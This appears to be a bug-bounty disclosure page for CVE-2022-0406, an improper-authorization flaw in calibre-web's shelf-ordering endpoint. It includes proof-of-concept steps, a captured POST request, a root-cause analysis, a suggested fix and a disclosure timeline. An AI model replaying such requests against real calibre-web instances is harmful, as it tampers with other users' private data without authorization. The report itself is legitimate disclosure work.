Improper Authorization in janeczku/calibre-web

0

Valid Reported on Jan 25th 2022

Description

With default settings, low-level users will not have permission to edit the sort order of books in private shelf of another user. However, due to incorrect checking, the application does not work as intended.

Proof of Concept

Step 1: Login with admin account and go to http://hostname:8083/admin/user/new. Create new user "test1" with default permissions (only "Show *" permissions).
Step 2: admin create private shelf, and books to shelf.
Step 3: test1 get id of admin's private shelf (brute-force, leak data,...) and go to http://hostname:8083/shelf/order/:id (in Poc http://192.168.150.133:8083/shelf/order/3).
Step 4: test1 click save and capture request in burpsuite. test1 put data and recall request to edit the sort order of books in shelf 3 (private shelf of admin) Request:

```
POST /shelf/order/3 HTTP/1.1
Host: 192.168.150.133:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/201001
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Origin: http://192.168.150.133:8083
Connection: close
Referer: http://192.168.150.133:8083/shelf/order/3
Cookie: session=.eJwljjtuAzEMBe-iOgV_4oq-zEKkSNgIkAC7dhXk7lkj3bx5zfy0vY487-
Upgrade-Insecure-Requests: 1

1=2&2=1&csrf_token=IjA2ZjA4MTE2MTk5ZjJjZjA4MTJhODNhMjZkZGJlY2
```

PoC: https://drive.google.com/file/d/1iyO9WntPQq7b_2EXq76JZz3vT89jOnP4

Root-cause

In line 362 (https://github.com/janeczku/calibre-web/blob/master/cps/shelf.py#L362), server checks request's method (POST) and processes the data directly, without checking the user's permission to the shelf. I recommend putting code for user permissions check (https://github.com/janeczku/calibre-web/blob/master/cps/shelf.py#L380) at the top of order_shelf function.

Impact

Low-level user can edit the sort order of books in any shelf (include private shelf of another user).

CVE
CVE-2022-0406
(Published)

Vulnerability Type
CWE-285: Improper Authorization

Severity
Medium (4.3)

Visibility
Public

Status
Fixed

Found by

nhiephon
@nhiephon
master

We have contacted a member of the janeczku/calibre-web team and are waiting to hear back 10 months ago

janeczku validated this vulnerability 10 months ago

nhiephon has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

We have sent a fix follow up to the janeczku/calibre-web team. We will try again in 7 days. 10 months ago

We have sent a second fix follow up to the janeczku/calibre-web team. We will try again in 10 days. 10 months ago

We have sent a third and final fix follow up to the janeczku/calibre-web team. This report is now considered stale. 9 months ago

janeczku marked this as fixed in 0.6.16 with commit e0e042 8 months ago

The fix bounty has been dropped ❌

This vulnerability will not receive a CVE ❌

Sign in to join this conversation

leaderboard

FAQ

contact us

terms

privacy policy

team

Chat with us